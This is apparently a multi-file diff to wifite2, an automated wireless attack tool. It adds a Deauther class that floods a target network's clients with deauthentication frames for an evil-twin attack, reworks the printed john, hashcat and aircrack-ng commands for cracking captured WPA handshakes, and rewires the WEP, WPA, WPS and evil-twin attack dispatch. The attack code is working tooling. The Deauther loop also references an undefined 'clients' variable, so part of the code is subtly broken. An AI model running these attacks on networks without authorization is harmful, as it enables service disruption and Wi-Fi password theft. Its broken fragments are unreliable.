@@ -161,7 +161,7 @@ class Tshark(Dependency):
''' '''
if not Tshark.exists(): if not Tshark.exists():
raise ValueError('Cannot detect WPS networks: Tshark does not exist') raise Exception('Cannot detect WPS networks: Tshark does not exist')
command = [ command = [
'tshark', 'tshark',

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from .dependency import Dependency from .dependency import Dependency

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys import sys

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..util.process import Process from ..util.process import Process
@@ -14,8 +14,6 @@ import os
class CrackHandshake(object): class CrackHandshake(object):
def __init__(self): def __init__(self):
self.wordlist = Configuration.wordlist or "path_to_wordlist_here" self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
if os.path.exists(self.wordlist):
self.wordlist = os.path.abspath(self.wordlist)
handshake = self.choose_handshake() handshake = self.choose_handshake()
self.crack_handshake(handshake) self.crack_handshake(handshake)
@@ -51,18 +49,16 @@ class CrackHandshake(object):
def print_john(self, cap_file): def print_john(self, cap_file):
Color.pl("") Color.pl("")
Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
if not Process.exists("john"): if not Process.exists("john"):
Color.pl(" {O}# {R}john{O} is not installed. More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}"); Color.pl(" {R}john not found.");
else: Color.pl(" {O}More info on installing {R}John The Ripper{O} here: {C}http://www.openwall.com/john/{W}");
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration") return
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process") Color.pl(" {O}# JOHN: CPU or GPU-based cracking. Fast.")
Color.pl(" {O}# Generate hccap file:") Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file) Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
Color.pl(" {O}# Convert hccap file to john file:") Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}hccap.john{W}")
Color.pl(" {G}hccap2john {C}hccap.hccap {W}> {C}%s.john{W}" % cap_file) Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
Color.pl(" {O}# Crack john file:")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"%s.john\"{W}" % (self.wordlist, cap_file))
def print_oclhashcat(self, cap_file): def print_oclhashcat(self, cap_file):
Color.pl("") Color.pl("")
@@ -71,20 +67,18 @@ class CrackHandshake(object):
Color.pl(" {O}More info on installing {R}hashcat{O} here: {C}https://hashcat.net/hashcat/"); Color.pl(" {O}More info on installing {R}hashcat{O} here: {C}https://hashcat.net/hashcat/");
return return
Color.pl(" {O}# HASHCAT: GPU-based cracking. Fast.") Color.pl(" {O}# HASHCAT: GPU-based cracking. Fast.")
Color.pl(" {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info") Color.pl(" {O}# See {C}https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 {O}for more info")
Color.pl(" {O}# Step 1: Generate .hccapx file")
hccapx_file = "/tmp/generated.hccapx" hccapx_file = "/tmp/generated.hccapx"
cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin" cap2hccapx = "/usr/lib/hashcat-utils/cap2hccapx.bin"
if os.path.exists(cap2hccapx): if os.path.exists(cap2hccapx):
Color.pl(" {G} %s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file)) Color.pl(" {G}%s {W}%s {C}%s{W}" % (cap2hccapx, cap_file, hccapx_file))
else: else:
Color.pl(" {O}# Install {R}cap2hccapx{O}: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils") Color.pl(" {O}# Install hashcat-utils: {C}https://hashcat.net/wiki/doku.php?id=hashcat_utils")
Color.pl(" {G}./cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file)) Color.pl(" {C}cap2hccapx.bin {W}%s {C}%s{W}" % (cap_file, hccapx_file))
Color.pl(" {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}") Color.pl(" {O}# OR visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file)) Color.pl(" {O}# Then click BROWSE -> %s -> CONVERT and save to %s" % (cap_file, hccapx_file))
Color.pl(" {O}# Step 2: Crack the .hccapx file")
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist)) Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (hccapx_file, self.wordlist))
def choose_handshake(self): def choose_handshake(self):

56
wifite/util/deauther.py Normal file
View File

@@ -0,0 +1,56 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import time
from ..tools.aireplay import Aireplay
from ..tools.ifconfig import Ifconfig
class Deauther(object):
'''
Deauthenticates clients associated with a target.
For use with EvilTwin.
'''
def __init__(self, interface, target):
self.interface = interface
self.interface_mac = Ifconfig.get_mac(interface)
self.target = target
self.running = False
self.clients = set()
def update_target(self, target):
# Refresh target (including list of clients)
self.target = target
def update_clients(self):
# Refreshes list of clients connected to target
for client in self.target.clients:
bssid = client.station
if bssid.lower() == self.interface_mac:
continue # Ignore this interface
elif bssid not in self.clients:
self.clients.add(bssid)
def start(self):
self.running = True
while self.running:
# Refresh list of clients
self.update_clients()
# Deauth clients
bssid = self.target.bssid
essid = self.target.essid if self.target.essid_known else None
for client_mac in clients:
Aireplay.deauth(bssid, essid=essid, client_mac=client_mac)
time.sleep(1)
def stop(self):
self.running = False

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
# Fix for raw_input on python3: https://stackoverflow.com/a/7321970 # Fix for raw_input on python3: https://stackoverflow.com/a/7321970

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import time import time
@@ -93,11 +93,8 @@ class Process(object):
Ran when object is GC'd. Ran when object is GC'd.
If process is still running at this point, it should die. If process is still running at this point, it should die.
''' '''
try: if self.pid and self.pid.poll() is None:
if self.pid and self.pid.poll() is None: self.interrupt()
self.interrupt()
except AttributeError:
pass
def stdout(self): def stdout(self):
''' Waits for process to finish, returns stdout output ''' ''' Waits for process to finish, returns stdout output '''
@@ -180,30 +177,23 @@ class Process(object):
if __name__ == '__main__': if __name__ == '__main__':
Configuration.initialize(False)
p = Process('ls') p = Process('ls')
print(p.stdout()) print(p.stdout(), p.stderr())
print(p.stderr())
p.interrupt() p.interrupt()
# Calling as list of arguments # Calling as list of arguments
(out, err) = Process.call(['ls', '-lah']) (out, err) = Process.call(['ls', '-lah'])
print(out) print(out, err)
print(err)
print('\n---------------------\n') print('\n---------------------\n')
# Calling as string # Calling as string
(out, err) = Process.call('ls -l | head -2') (out, err) = Process.call('ls -l | head -2')
print(out) print(out, err)
print(err)
print('"reaver" exists: %s' % Process.exists('reaver')) print('"reaver" exists:', Process.exists('reaver'))
# Test on never-ending process # Test on never-ending process
p = Process('yes') p = Process('yes')
print("Running yes...")
time.sleep(1)
print("yes should stop now")
# After program loses reference to instance in 'p', process dies. # After program loses reference to instance in 'p', process dies.

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from ..tools.airodump import Airodump from ..tools.airodump import Airodump
@@ -36,18 +36,18 @@ class Scanner(object):
while True: while True:
if airodump.pid.poll() is not None: if airodump.pid.poll() is not None:
# Airodump process died # Airodump process died
return self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
raise KeyboardInterrupt
self.targets = airodump.get_targets(old_targets=self.targets) try:
self.targets = airodump.get_targets()
except Exception as e:
break
if self.found_target(): if self.found_target():
# We found the target we want # We found the target we want
return return
if airodump.pid.poll() is not None:
# Airodump process died
return
for target in self.targets: for target in self.targets:
if target.bssid in airodump.decloaked_bssids: if target.bssid in airodump.decloaked_bssids:
target.decloaked = True target.decloaked = True
@@ -72,7 +72,6 @@ class Scanner(object):
return return
sleep(1) sleep(1)
except KeyboardInterrupt: except KeyboardInterrupt:
pass pass
@@ -197,7 +196,7 @@ class Scanner(object):
input_str += ' or {G}all{W}: ' input_str += ' or {G}all{W}: '
chosen_targets = [] chosen_targets = []
for choice in raw_input(Color.s(input_str)).split(','): for choice in raw_input(Color.s(input_str)).split(','):
choice = choice.strip() choice = choice.strip()
if choice.lower() == 'all': if choice.lower() == 'all':

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python2.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import time import time

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python #!/usr/bin/python3.7
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
try: try:
@@ -11,11 +11,14 @@ from .util.process import Process
from .util.color import Color from .util.color import Color
from .util.crack import CrackHandshake from .util.crack import CrackHandshake
from .util.input import raw_input from .util.input import raw_input
from .attack.all import AttackAll from .attack.wep import AttackWEP
from .attack.wpa import AttackWPA
from .attack.wps import AttackWPS
from .attack.eviltwin import EvilTwinAttack
from .model.result import CrackResult from .model.result import CrackResult
from .model.handshake import Handshake from .model.handshake import Handshake
from .tools.dependency import Dependency
import json
import os import os
import sys import sys
@@ -31,20 +34,107 @@ class Wifite(object):
Configuration.initialize(load_interface=False) Configuration.initialize(load_interface=False)
Dependency.run_dependency_check() self.dependency_check()
if Configuration.show_cracked: if Configuration.show_cracked:
CrackResult.display() self.display_cracked()
elif Configuration.check_handshake: elif Configuration.check_handshake:
Handshake.check() self.check_handshake(Configuration.check_handshake)
elif Configuration.crack_handshake: elif Configuration.crack_handshake:
CrackHandshake() CrackHandshake()
else: else:
Configuration.get_monitor_mode_interface() Configuration.get_monitor_mode_interface()
self.run() self.run()
def dependency_check(self):
''' Check that required programs are installed '''
from .tools.airmon import Airmon
from .tools.airodump import Airodump
from .tools.aircrack import Aircrack
from .tools.aireplay import Aireplay
from .tools.ifconfig import Ifconfig
from .tools.iwconfig import Iwconfig
from .tools.hostapd import Hostapd
from .tools.dnsmasq import Dnsmasq
from .tools.iptables import Iptables
from .tools.bully import Bully
from .tools.reaver import Reaver
from .tools.wash import Wash
from .tools.pyrit import Pyrit
from .tools.tshark import Tshark
from .tools.macchanger import Macchanger
apps = [
# Aircrack
Airmon, Airodump, Aircrack, Aireplay,
# wireless/net tools
Iwconfig, Ifconfig,
# WPS
Reaver, Bully,
# Cracking/handshakes
Pyrit, Tshark,
# Misc
Macchanger
]
if Configuration.use_eviltwin:
apps.extend([Hostapd, Dnsmasq, Iptables])
missing_required = any([app.fails_dependency_check() for app in apps])
if missing_required:
Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
sys.exit(-1)
#if missing_optional:
# Color.pl('{!} {O}recommended app(s) were not found')
# Color.pl('{!} {O}wifite may not work as expected{W}')
def display_cracked(self):
''' Show cracked targets from cracked.txt '''
name = CrackResult.cracked_file
if not os.path.exists(name):
Color.pl('{!} {O}file {C}%s{O} not found{W}' % name)
return
with open(name, 'r') as fid:
cracked_targets = json.loads(fid.read())
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
else:
Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
for item in cracked_targets:
cr = CrackResult.load(item)
cr.dump()
Color.pl('')
def check_handshake(self, capfile):
''' Analyzes .cap file for handshake '''
if capfile == '<all>':
Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
try:
capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
except OSError as e:
capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [capfile]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
def run(self): def run(self):
''' '''
Main program. Main program.
@@ -58,19 +148,97 @@ class Wifite(object):
else: else:
targets = s.select_targets() targets = s.select_targets()
attacked_targets = AttackAll.attack_multiple(targets) if Configuration.use_eviltwin:
# Ask user to select interface if needed
Configuration.get_eviltwin_interface()
attacked_targets = 0
targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
# TODO: Check if Eviltwin attack is selected.
if Configuration.use_eviltwin:
attack = EvilTwinAttack(t, Configuration.interface, Configuration.eviltwin_iface)
elif 'WEP' in t.encryption:
attack = AttackWEP(t)
elif 'WPA' in t.encryption:
# TODO: Move WPS+WPA decision to a combined attack
if t.wps:
attack = AttackWPS(t)
result = False
try:
result = attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining, 1):
break
if result and attack.success:
# We cracked it.
attack.crack_result.save()
continue
else:
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
else:
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
else:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
continue
try:
attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining):
break
if attack.success:
attack.crack_result.save()
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets) Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
def print_banner(self): def print_banner(self):
""" Displays ASCII art of the highest caliber. """ """ Displays ASCII art of the highest caliber. """
Color.pl(r'{G} . {GR}{D} {W}{G} . {W}') Color.pl('''\
Color.pl(r'{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version) {G} . {GR}{D} {W}{G} . {W}
Color.pl(r'{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}') {G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}
Color.pl(r'{G}`. · `{GR}{D} \ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}') {G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor
Color.pl(r'{G} ` {GR}{D}¯¯\{W}{G} ´ {W}') {G}`. · `{GR}{D} \ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2
Color.pl('') {G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}
''' % Configuration.version)
def user_wants_to_continue(self, targets_remaining, attacks_remaining=0): def user_wants_to_continue(self, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets ''' ''' Asks user if attacks should continue onto other targets '''

File diff suppressed because it is too large Load Diff